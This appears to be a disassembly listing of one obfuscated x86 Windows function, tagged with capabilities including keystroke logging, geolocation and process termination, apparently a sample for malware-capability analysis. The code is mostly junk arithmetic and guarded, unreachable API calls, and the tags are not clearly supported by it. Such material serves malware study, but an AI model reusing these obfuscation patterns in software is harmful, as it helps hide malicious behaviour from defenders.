Function at 0x4617bb
Capabilities:
Get disk information
Get disk size
Get geographical location
Log keystrokes
Resume thread
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
xor eax, eax
mov dword [ebp - 0xc], 0xffffffff
push ebx
mov byte [ebp - 5], al
push esi
push edi
mov byte [ebp - 0x39], dl
mov dword [ebp - 0x44], ecx
cmp byte [ebp - 5], al
je 0x4617e9
push eax
push eax
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetKeySecurity]
xor eax, eax
push 1
mov dword [ebp - 0xc], eax
pop edi
jmp 0x46186b
mov dword [ebp - 0x38], 0xfffffff6
mov dword [ebp - 0x34], 0xffffffff
mov dword [ebp - 0x18], eax
jmp 0x46180e
mov ecx, dword [ebp - 0x18]
mov dword [ebp + ecx*4 - 0x40], eax
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edi
jl 0x461804
mov dword [ebp - 0x40], eax
jmp 0x461862
mov dword [ebp - 0x34], 0xffffffff
xor ebx, ebx
mov ecx, dword [ebp - 0x38]
mov ecx, dword [ebp - 0x34]
mov edx, dword [ebp - 0x40]
mov ecx, dword [ebp - 0xc]
cmp edx, ecx
mov edx, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x40]
setg bl
sub edx, ebx
neg edx
sbb edx, edx
xor ebx, ebx
inc edx
cmp edx, ecx
mov ecx, dword [ebp - 0x40]
setl bl
xor edx, edx
cmp ebx, ecx
mov ecx, dword [ebp - 0xc]
setle dl
xor ebx, ebx
test edx, edx
setg bl
sub ebx, ecx
mov dword [ebp - 0x34], ebx
inc dword [ebp - 0x40]
cmp dword [ebp - 0x40], 0x19
jge 0x461818
dec dword [ebp - 0xc]
cmp dword [ebp - 0xc], 0xfffffff0
je 0x4617f1
mov dword [ebp - 0x24], 0x2972
lea ecx, [ebp - 0x184]
mov dword [ebp - 0xc], edi
mov dword [ebp - 0x18], 0xfffffff6
mov dword [ebp - 0x20], 0xcf041577
mov dword [ebp - 0x38], 0xef7d2668
push 2
call fcn.004013fc
mov dword [ebp - 0x10], 0
jmp 0x4618b9
mov ecx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x184]
mov dword [eax + ecx*4], 6
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jl 0x4618a6
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp - 0x24]
add eax, 0xfff7
jne 0x4618d2
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x24]
sub ecx, eax
mov esi, dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov eax, dword [ebp - 0xc]
neg ecx
sbb ecx, ecx
xor edx, edx
inc ecx
cmp ecx, eax
mov eax, dword [ebp - 0x18]
setne dl
xor ecx, ecx
cmp edx, eax
setl cl
cmp ecx, 0x8ecb302a
sbb edx, edx
xor ecx, ecx
inc edx
imul edx, dword [ebp - 0xc]
mov eax, dword [ebp - 0x18]
cmp edx, eax
setle cl
xor edx, edx
mov dword [ebp - 0x20], ecx
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x18]
cmp ecx, eax
setne dl
mov dword [ebp - 0x38], edx
mov dword [ebp - 0x18], 0
jmp 0x461945
mov byte [ebp - 5], 0
cmp byte [ebp - 5], 0
je 0x461942
push 0x1e7
push 0
call esi
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edi
jle 0x46192f
lea ecx, [ebp - 0x184]
call fcn.004014ce
mov dword [ebp - 0xc], 0xaf1124f0
mov dword [ebp - 0xc], 0xfffffff2
jmp 0x46198d
mov dword [ebp - 0x20], 0x9c5a654f
dec dword [ebp - 0x20]
mov byte [ebp - 5], 0
cmp byte [ebp - 5], 0
je 0x46198a
push edi
push 0x6a2
push 0x5af
call dword [sym.imp.USER32.dll_AttachThreadInput]
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], 0xfffffffa
jl 0x461965
mov ebx, dword [0x48552c]
mov dword [ebp - 0xc], edi
mov dword [ebp - 0x24], 0xe02189f4
mov dword [ebp - 0x20], edi
mov dword [ebp - 0x34], 0x912e7550
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x38], ebx
cmp eax, dword [ebp - 0xc]
jge 0x4619e5
xor eax, eax
mov byte [ebp - 5], al
cmp byte [ebp - 5], al
je 0x461a3d
push eax
push 0xf4c
push 0x145
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetViewportExtEx]
xor eax, eax
jmp 0x461a3d
mov dword [ebp - 0x18], edi
mov edx, 0xcdf5ef88
mov eax, dword [ebp - 0xc]
xor ecx, ecx
sub edx, eax
mov eax, dword [ebp - 0x18]
cmp eax, edx
setl cl
mov dword [ebp - 0xc], ecx
mov eax, dword [ebp - 0x18]
imul eax, dword [ebp - 0xc]
mov dword [ebp - 0x24], eax
xor eax, eax
cmp dword [ebp - 0x24], eax
jne 0x461a13
mov ecx, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x18]
neg ecx
sbb ecx, ecx
neg ecx
mov dword [ebp - 0x20], ecx
xor ecx, ecx
mov edx, dword [ebp - 0x18]
imul edx, dword [ebp - 0xc]
add edx, dword [ebp - 0x18]
cmp edx, 0xdd66
setl cl
mov dword [ebp - 0x34], ecx
mov ecx, dword [ebp + 8]
push dword [ebp + 8]
movdqa xmm0, xmmword [0xa75610]
mov dword [ebp - 0x18], 0xfffffff6
mov dword [ecx], eax
mov dword [ecx + 4], eax
mov dword [ecx + 8], eax
mov dword [ecx + 0xc], eax
lea ecx, [ebp - 0x190]
push ecx
lea ecx, [ebp - 0x1a0]
mov dword [ebp - 0x24], 0xffffffff
push ecx
mov dword [ebp - 0x1c], 0x9d2e
lea ecx, [ebp - 0xe0]
mov dword [ebp - 0x20], 5
mov dword [ebp - 0x28], 0x616d21b1
push eax
movdqu xmmword [ebp - 0x1a0], xmm0
mov dword [ebp - 0xe0], eax
mov dword [ebp - 0xdc], eax
mov dword [ebp - 0xd8], eax
call fcn.0040191b
mov eax, dword [ebp - 0x18]
xor edx, edx
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x18]
cmp eax, ecx
setle dl
imul eax, edx, 0x7fc0
test eax, eax
je 0x461ad3
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0xe0]
mov dword [eax + 4], ecx
mov eax, dword [ebp - 0x24]
sub ecx, eax
je 0x461b30
xor eax, eax
mov dword [ebp - 0x20], eax
dec dword [ebp - 0x20]
mov byte [ebp - 5], al
cmp byte [ebp - 5], al
je 0x461b43
push eax
push eax
push 0x174b
push eax
push 0x169c
push eax
push 0xf1a
push eax
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
jmp 0x461b43
mov byte [ebp - 5], 0
cmp byte [ebp - 5], 0
je 0x461b43
push 0x1e7
push 0
call esi
lea ecx, [ebp - 0xe0]
call fcn.004014ce
cmp byte [ebp - 0x39], 0
je 0x461fed
cmp ebx, edi
jne 0x461fed
push 3
lea ecx, [ebp - 0x70]
call fcn.004013fc
mov dword [ebp - 0x14], 0xffffffff
lea ecx, [ebp - 0x190]
mov dword [ebp - 0x34], 0xfffffff9
mov dword [ebp - 0x2c], edi
push 2
call fcn.004013fc
push 4
lea ecx, [ebp - 0x13c]
call fcn.004013fc
xor eax, eax
mov dword [ebp - 0x14], eax
jmp 0x461bac
mov edx, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x70]
mov dword [ecx + edx*4], 0xff0ea75c
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x461b9c
mov dword [ebp - 0x14], eax
jmp 0x461bc6
mov edx, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x190]
mov dword [ecx + edx*4], edi
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x461bb7
mov dword [ebp - 0x14], eax
jmp 0x461be4
mov edx, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x13c]
mov dword [ecx + edx*4], 0x4f989879
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 4
jl 0x461bd1
mov dword [ebp - 0x14], 2
cmp dword [ebp - 0x14], eax
jl 0x461dac
mov ebx, dword [ebp - 0x13c]
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x58], 0xffffffff
mov dword [ebp - 0x54], 0xffffffff
mov dword [ebp - 0x50], 0xffffffff
mov dword [ebp - 0x4c], 0xffffffff
mov dword [ebp - 0x24], 0x85ce96b7
mov dword [ebp - 0x1c], edi
mov dword [ebp - 0x4c], 2
cmp dword [ebp - 0x4c], eax
jl 0x461d74
mov dword [ebp - 0x20], edi
mov dword [ebp - 0x34], 0x6ae3
mov edx, dword [ebp - 0x4c]
mov ecx, dword [ebp - 0x70]
mov ecx, dword [ecx + edx*4]
mov dword [ebp - 0x24], ecx
mov esi, dword [ebp - 0x4c]
mov edx, dword [ebp - 0x70]
mov ecx, dword [ebp - 0x24]
add ecx, dword [edx + esi*4]
je 0x461cd5
mov ecx, dword [ebp - 0x14]
mov esi, dword [ebp - 0x4c]
mov ecx, dword [ebp - 0x14]
neg esi
sbb esi, esi
xor edx, edx
neg esi
cmp esi, ecx
mov ecx, dword [ebp - 0x14]
setle dl
xor ebx, ebx
cmp edx, ecx
setge bl
xor edx, edx
sub ebx, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x70]
cmp ebx, dword [ecx + 4]
setne dl
xor ebx, ebx
sub edx, dword [ecx + 8]
mov ecx, dword [ebp - 0x14]
cmp edx, ecx
mov ecx, dword [ebp - 0x54]
setg bl
xor edx, edx
cmp ebx, ecx
mov ecx, 0xd4a55f07
setl dl
sub ecx, edx
jne 0x461cb0
cmp dword [ebp - 0x34], eax
je 0x461cd5
mov edx, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x70]
cmp dword [ecx + edx*4], eax
je 0x461cd5
mov byte [ebp - 5], al
cmp byte [ebp - 5], 0
je 0x461d68
call dword [sym.imp.USER32.dll_EndMenu]
xor eax, eax
jmp 0x461d68
push edi
lea ecx, [ebp - 0x16c]
call fcn.004013fc
xor eax, eax
mov dword [ebp - 0x28], 0x2a93f045
mov dword [ebp - 0xc], eax
jmp 0x461d02
mov edx, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x16c]
mov dword [ecx + edx*4], 0x6add33d7
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], edi
jl 0x461cef
cmp dword [ebp - 0x28], eax
jne 0x461d0e
mov edi, eax
mov ecx, dword [ebp - 0x14]
xor ebx, ebx
mov esi, dword [ebp - 0x4c]
mov edx, dword [ebp - 0x70]
mov ecx, dword [edx + ecx*4]
cmp ecx, dword [edx + esi*4]
mov ecx, dword [ebp - 0x16c]
setg bl
mov dword [ebp - 0x34], ebx
mov dword [ecx], ebx
xor ebx, ebx
mov ecx, dword [ebp - 0x58]
cmp ecx, dword [ebp - 0x34]
mov edx, dword [ebp - 0x54]
setge bl
sub edx, edi
sub edx, ebx
xor ecx, ecx
cmp edx, 0xfffffff6
setne cl
cmp ecx, 0x3395cc9e
je 0x461d52
mov ecx, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x20]
lea ecx, [ebp - 0x16c]
mov dword [ebp - 0x28], eax
call fcn.004014ce
xor edi, edi
xor eax, eax
inc edi
dec dword [ebp - 0x4c]
jns 0x461c39
mov ebx, dword [ebp - 0x18]
mov edx, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x70]
cmp dword [ecx + edx*4], eax
jne 0x461d86
mov esi, eax
cmp dword [ebp - 0x54], eax
je 0x461d88
mov esi, edi
dec dword [ebp - 0x1c]
xor edx, edx
mov ecx, dword [ebp - 0x1c]
cmp ecx, 0xffffffff
mov dword [ebx + 0xc], ecx
setg dl
xor ecx, ecx
cmp edx, esi
setne cl
mov dword [ebp - 0x34], ecx
dec dword [ebp - 0x14]
jns 0x461c03
lea ecx, [ebp - 0x13c]
call fcn.004014ce
lea ecx, [ebp - 0x190]
call fcn.004014ce
lea ecx, [ebp - 0x70]
call fcn.004014ce
mov eax, dword [ebp + 8]
mov dword [ebp - 0x18], 0xfffffffb
mov dword [ebp - 0x14], 0xfffffff7
mov dword [ebp - 0x30], 0xfffffffd
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x18], 0
cmp dword [ebp - 0x18], 0xb
mov dword [eax + 8], 4
jl 0x461fe3
mov dword [ebp - 0xc], 0x94a18885
mov dword [ebp - 0x34], 0xffff
mov dword [ebp - 0x20], 0xfffffffe
mov dword [ebp - 0x48], 0
mov dword [ebp - 0xc], 0
jmp 0x461fb9
mov dword [ebp - 0x24], 0x9323d1bc
lea ecx, [ebp - 0xf0]
mov dword [ebp - 0x10], 4
push 3
call fcn.004013fc
xor eax, eax
mov dword [ebp - 0x28], 9
mov dword [ebp - 0x10], eax
jmp 0x461e61
mov edx, dword [ebp - 0x10]
mov ecx, dword [ebp - 0xf0]
mov dword [ecx + edx*4], edi
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 3
jl 0x461e52
imul edx, dword [ebp - 0x34], 0xe28d
xor ebx, ebx
mov ecx, dword [ebp - 0x14]
cmp edx, ecx
mov ecx, dword [ebp - 0x24]
setne bl
sub ecx, ebx
mov dword [ebp - 0x10], ecx
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 0x14]
sub edx, ecx
mov ecx, dword [ebp - 0x18]
neg edx
sbb edx, edx
dec ecx
inc edx
add ecx, edx
cmp ecx, dword [ebp - 0x14]
jne 0x461e9b
mov ecx, dword [ebp - 0x14]
cmp dword [ebp - 0x18], 8
mov ecx, dword [ebp - 0x20]
sbb edx, edx
xor ebx, ebx
neg edx
cmp edx, ecx
mov ecx, dword [ebp - 0x24]
setne bl
xor edx, edx
cmp ecx, ebx
setge dl
cmp edx, dword [ebp - 0xc]
jge 0x461ef1
mov byte [ebp - 5], al
cmp byte [ebp - 5], al
je 0x461fa8
push 0x1e2d
push eax
push 0x10ab
push 0x22ed
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_ExtFloodFill]
jmp 0x461fa8
mov dword [ebp - 0x14], eax
jmp 0x461f99
mov dword [ebp - 0x28], 0xa6ca0cec
mov dword [ebp - 0x10], eax
jmp 0x461f89
cmp dword [ebp - 0x48], eax
je 0x461f14
mov esi, edi
cmp dword [ebp - 0x24], eax
jne 0x461f16
mov esi, eax
mov ecx, dword [ebp - 0x30]
xor edx, edx
cmp esi, ecx
sete dl
add edx, 0x6de0
cmp edx, dword [ebp - 0x18]
jle 0x461f33
mov dword [ebp - 0x1c], edi
cmp dword [ebp - 0x10], eax
jne 0x461f36
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x20]
mov dword [ebp - 0x28], ecx
mov esi, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 0xf0]
mov edi, dword [edx + ecx*4]
sub edi, dword [edx + esi*4]
mov edx, dword [ebp - 0x28]
neg edi
mov ecx, dword [ebp - 0x14]
sbb edi, edi
xor ebx, ebx
inc edi
cmp ecx, edx
setge bl
xor edx, edx
cmp edi, ebx
setge dl
xor ecx, ecx
cmp edx, dword [ebp - 0x1c]
setne cl
mov dword [ebp - 0x28], ecx
mov byte [ebp - 5], al
cmp byte [ebp - 5], 0
je 0x461f83
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
xor eax, eax
inc dword [ebp - 0x10]
push 1
pop edi
cmp dword [ebp - 0x10], 2
jle 0x461f08
dec dword [ebp - 0x14]
push 1
pop edi
cmp dword [ebp - 0x14], 0xffffffe2
jle 0x461ef9
cmp dword [ebp - 0x2c], eax
jne 0x461fc5
lea ecx, [ebp - 0xf0]
call fcn.004014ce
dec dword [ebp - 0xc]
push 1
pop edi
cmp dword [ebp - 0xc], 0xffffffec
jne 0x461e29
jmp 0x461fd0
lea ecx, [ebp - 0xf0]
call fcn.004014ce
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0xb
push 1
pop edi
jge 0x461e01
mov eax, dword [ebp + 8]
xor edi, edi
mov dword [eax + 0xc], 0x48552c
inc edi
push dword [ebp + 8]
lea ecx, [ebp - 0x1a0]
mov dword [ebp - 0x14], 0xf6af1124
push ecx
xor eax, eax
mov dword [ebp - 0x2c], 0xfffffffe
lea ecx, [ebp - 0x1b0]
mov dword [ebp - 0x64], eax
push ecx
xorps xmm0, xmm0
mov dword [ebp - 0x60], eax
push eax
lea ecx, [ebp - 0x64]
mov dword [ebp - 0x5c], eax
movdqu xmmword [ebp - 0x1b0], xmm0
call fcn.0040191b
mov dword [ebp - 0x18], 0xa47cdedf
xor eax, eax
mov dword [ebp - 0x1c], 0x8b036c86
mov dword [ebp - 0x30], 0xffffffff
mov dword [ebp - 0x14], 0xfffffff2
cmp dword [ebp - 0x14], 0x17
jne 0x4620f9
mov esi, dword [ebp - 0x64]
mov dword [ebp - 0x20], 0xfa
mov dword [ebp - 0x30], edi
mov dword [ebp - 0x30], 5
mov dword [ebp - 0x30], 0xffffffff
mov dword [ebp - 0x30], 0xa4e66596
mov dword [ebp - 0x30], 0x326874be
push 3
mov dword [ebp - 0x30], 0x3cc2
mov dword [ebp - 0x10], eax
pop edx
jmp 0x46209c
mov ecx, dword [ebp - 0x10]
mov dword [ebp + ecx*4 - 0x1ec], 6
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edx
jl 0x46208b
mov dword [ebp - 0x10], eax
jmp 0x4620b7
mov ecx, dword [ebp - 0x10]
mov dword [ebp + ecx*4 - 0x1f8], 0xfffffffd
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edx
jl 0x4620a6
mov ecx, dword [ebp - 0x14]
xor edx, edx
mov ecx, dword [ebp - 0x20]
cmp ecx, 0x91
mov ecx, dword [ebp - 0x20]
setle dl
xor ebx, ebx
cmp ecx, edx
setle bl
neg ebx
add ebx, ebx
je 0x4620e4
mov ecx, edi
cmp dword [ebp - 0x2c], eax
jne 0x4620e6
mov ecx, eax
mov dword [esi + 0xc], ecx
dec dword [ebp - 0x18]
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0x17
je 0x462056
mov dword [ebp - 0x14], 0x10
cmp dword [ebp - 0x14], 0xfffffff5
jne 0x462278
mov edi, dword [ebp - 0x64]
xor ebx, ebx
mov dword [ebp - 0x10], 6
mov dword [ebp - 0xc], eax
inc ebx
cmp dword [ebp - 0xc], 3
jge 0x46212f
mov ecx, dword [ebp - 0xc]
mov dword [ebp + ecx*4 - 0xa0], ebx
inc dword [ebp - 0xc]
jmp 0x46211a
mov dword [ebp - 0x18], eax
jmp 0x46217f
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x24], 0xfffa
mov dword [ebp - 0x2c], 0xd0e101ea
cmp dword [ecx], eax
jne 0x46216e
mov ecx, dword [ebp - 0xa0]
mov esi, eax
mov ecx, dword [ebp - 0x14]
mov ecx, dword [ebp - 0xa0]
mov ecx, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x98]
imul ecx, dword [ebp - 0x24]
test ecx, ecx
je 0x462170
mov esi, ebx
mov edx, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x64]
mov dword [ecx + edx*4], esi
mov dword [ebp - 0x2c], esi
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jle 0x462134
mov ecx, dword [ebp - 0x10]
mov edx, 0xfffb
cmp edx, ecx
sbb ecx, ecx
xor edx, edx
neg ecx
mov dword [ebp - 0x1c], ecx
mov ecx, dword [ebp - 0x1c]
cmp ecx, 0xffffffff
mov dword [edi + 8], 0x3123491
setge dl
xor ecx, ecx
cmp ecx, edx
sbb ecx, ecx
xor edx, edx
inc ecx
mov dword [ebp - 0xa0], ecx
mov ecx, dword [ebp - 0x14]
cmp ecx, 0x3123491
setle dl
cmp edx, dword [ebp - 0x10]
je 0x46224f
mov dword [ebp - 0xc], 0xa113d7af
mov ecx, dword [ebp - 0xc]
mov dword [ebp - 0x1c], ecx
cmp dword [ebp - 0x1c], eax
jne 0x4621e1
mov ecx, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x64]
cmp dword [ecx], edx
jg 0x4621f6
cmp dword [ebp - 0xa0], eax
je 0x4621fd
mov esi, ebx
cmp dword [ebp - 0x10], eax
jne 0x4621ff
mov esi, eax
mov ecx, dword [ebp - 0x18]
xor edx, edx
cmp esi, ecx
mov ecx, dword [ebp - 0x64]
setg dl
imul edx, dword [edi + 8]
sub edx, dword [ecx + 0xc]
mov ecx, dword [ebp - 0xa0]
neg edx
sbb edx, edx
xor ebx, ebx
inc edx
cmp edx, ecx
mov ecx, dword [ebp - 0x10]
mov esi, dword [ebp - 0xc]
setle bl
xor edx, edx
cmp ecx, ebx
mov ecx, dword [ebp - 0xc]
setle dl
add edx, 0xf681
sub esi, edx
neg esi
sbb esi, esi
inc esi
mov dword [edi + 8], esi
sub esi, ecx
sub esi, 9
mov dword [ebp - 0x30], esi
jmp 0x46226b
mov dword [ebp - 0x20], 0xfffa
mov dword [ebp - 0x10], 0xa
jmp 0x462265
inc dword [ebp - 0x20]
dec dword [ebp - 0x10]
cmp dword [ebp - 0x10], 0xfffffffd
jne 0x46225f
dec dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0xfffffff5
je 0x46210d
lea ecx, [ebp - 0x64]
call fcn.004014ce
mov ebx, dword [ebp - 0x44]
cmp ebx, dword [ebp - 0x38]
jge 0x462fb9
mov dword [ebp - 0xc], 0xffffffff
lea ecx, [ebp - 0x124]
push 4
call fcn.004013fc
xor esi, esi
mov dword [ebp - 0x24], 0xffffffff
inc esi
lea ecx, [ebp - 0x178]
push esi
call fcn.004013fc
xor eax, eax
mov dword [ebp - 0x2c], 0xf0c3da55
mov dword [ebp - 0x10], eax
jmp 0x4622d3
mov edx, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x124]
mov dword [ecx + edx*4], esi
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 4
jl 0x4622c4
mov dword [ebp - 0x10], eax
jmp 0x4622f1
mov edx, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x178]
mov dword [ecx + edx*4], 0xfffffffc
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jl 0x4622de
mov ecx, dword [ebp - 0xc]
inc dword [ebp - 0x24]
mov esi, dword [ebp - 0x24]
imul esi, dword [ebp - 0xc]
mov ecx, dword [ebp - 0xc]
mov edi, dword [ebp - 0x124]
add ecx, 6
sub esi, ecx
neg esi
sbb esi, esi
xor edx, edx
inc esi
imul esi, dword [ebp - 0xc]
mov ecx, dword [ebp - 0xc]
cmp ecx, esi
setg dl
xor ecx, ecx
cmp edx, dword [edi + 4]
setne cl
xor esi, esi
mov dword [edi + 4], ecx
inc esi
mov ecx, dword [ebp - 0x178]
cmp dword [ecx], esi
jg 0x46236b
mov byte [ebp - 5], al
cmp byte [ebp - 5], al
je 0x46234e
push eax
push eax
call dword [sym.imp.KERNEL32.dll_SetCommTimeouts]
xor eax, eax
mov byte [ebp - 5], al
cmp byte [ebp - 5], 0
je 0x4623c8
push 0x15da
push eax
push 0xb78
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
jmp 0x4623c6
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x2c], 0xcbedfa9
mov dword [ebp - 0x2c], 0xffffffff
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x24], eax
mov ecx, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x20]
inc dword [ebp - 0x24]
mov ecx, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x2c]
mov byte [ebp - 5], al
cmp byte [ebp - 5], al
je 0x4623b1
push eax
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_PlayEnhMetaFile]
xor eax, eax
mov byte [ebp - 5], al
cmp byte [ebp - 5], 0
je 0x4623c8
push 0xc51
push eax
call dword [sym.imp.KERNEL32.dll_IsValidLocale]
xor eax, eax
mov byte [ebp - 5], al
cmp byte [ebp - 5], 0
je 0x4623df
push 0x22cb
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
lea ecx, [ebp - 0x178]
call fcn.004014ce
lea ecx, [ebp - 0x124]
call fcn.004014ce
xor eax, eax
mov edi, 0x485530
mov dword [ebp - 0x34], eax
test ebx, ebx
jle 0x462a0b
mov dword [ebp - 0x18], eax
lea ecx, [ebp - 0xb8]
mov dword [ebp - 0x14], 0xe6aa1654
mov dword [ebp - 0xc], 0xf0ebf903
mov dword [ebp - 0x10], esi
mov dword [ebp - 0x20], 0xcaa5d732
push esi
call fcn.004013fc
xor eax, eax
mov dword [ebp - 0xc], eax
jmp 0x462448
mov edx, dword [ebp - 0xc]
mov ecx, dword [ebp - 0xb8]
mov dword [ecx + edx*4], 7
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], esi
jl 0x462435
mov ecx, dword [ebp - 0x18]
mov dword [ebp - 0x14], ecx
cmp dword [ebp - 0x14], eax
je 0x462470
mov ecx, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp - 0x18]
mov dword [ebp - 0xc], ecx
mov ecx, dword [ebp - 0x14]
mov ecx, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x18]
mov edx, dword [ebp - 0x18]
xor ebx, ebx
mov ecx, dword [ebp - 0x18]
cmp edx, ecx
setne bl
xor edx, edx
imul ebx, dword [ebp - 0x10]
mov dword [ebp - 0x20], ebx
mov ecx, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x18]
test ecx, ecx
setg dl
add edx, dword [ebp - 0x10]
mov dword [ebp - 0x10], edx
xor edx, edx
mov ecx, dword [ebp - 0x18]
cmp ecx, 0x1c1ec2db
setne dl
xor ecx, ecx
test edx, edx
setns cl
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0xc], eax
jmp 0x462522
mov ecx, dword [ebp - 0xb8]
mov dword [ebp - 0x1c], 0xc1979116
cmp dword [ecx], eax
je 0x4624f6
mov ecx, dword [ebp - 0x1c]
xor edx, edx
mov ecx, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x18]
mov ecx, dword [ebp - 0xb8]
cmp edx, dword [ecx]
mov ecx, dword [ebp - 0x1c]
sbb edx, edx
xor ebx, ebx
inc edx
cmp edx, ecx
mov ecx, dword [ebp - 0x14]
setne bl
xor edx, edx
cmp ebx, ecx
setg dl
cmp dword [ebp - 0x1c], edx
mov edx, esi
jg 0x4624f8
mov edx, eax
xor ecx, ecx
cmp edx, 0x1ffd
sete cl
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x10], eax
jmp 0x46251a
mov edx, dword [ebp - 0x10]
mov ecx, dword [ebp - 0xb8]
mov dword [ecx + edx*4], eax
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jl 0x46250b
dec dword [ebp - 0xc]
cmp dword [ebp - 0xc], 0xfffffff2
jle 0x4624b4
lea ecx, [ebp - 0xb8]
call fcn.004014ce
mov eax, dword [edi]
mov dword [ebp - 0x18], 0x76820624
mov dword [ebp - 0x20], 0xffffffff
mov dword [ebp - 0x2c], 0x279c4185
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x18], esi
jmp 0x46258a
mov dword [ebp - 0xc], 0x71d976ff
mov dword [ebp - 0xc], 0xf
cmp dword [ebp - 0xc], 0xffffffe8
jge 0x462587
xor eax, eax
mov byte [ebp - 5], al
cmp byte [ebp - 5], 0
je 0x46257e
push eax
push eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceW]
xor eax, eax
dec dword [ebp - 0xc]
cmp dword [ebp - 0xc], 0xffffffe8
jl 0x462568
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 7
jne 0x462552
inc dword [ebp - 0x20]
push 4
pop edx
add edi, edx
mov eax, dword [edi]
mov dword [ebp - 0x30], eax
xor eax, eax
mov dword [ebp - 0x2c], 8
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x10], eax
jmp 0x4625bf
mov ecx, dword [ebp - 0x10]
mov dword [ebp + ecx*4 - 0x1e0], 0x34504cd4
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edx
jl 0x4625ae
mov dword [ebp - 0x10], eax
jmp 0x4625da
mov ecx, dword [ebp - 0x10]
mov dword [ebp + ecx*4 - 0x110], 0xa473eb90
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jl 0x4625c9
mov ecx, dword [ebp - 0x1d8]
add edi, edx
mov dword [ebp - 0x110], ecx
mov ecx, dword [ebp - 0x110]
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x10], 0xfffffffb
mov dword [ebp - 0x14], 0x23a266d2
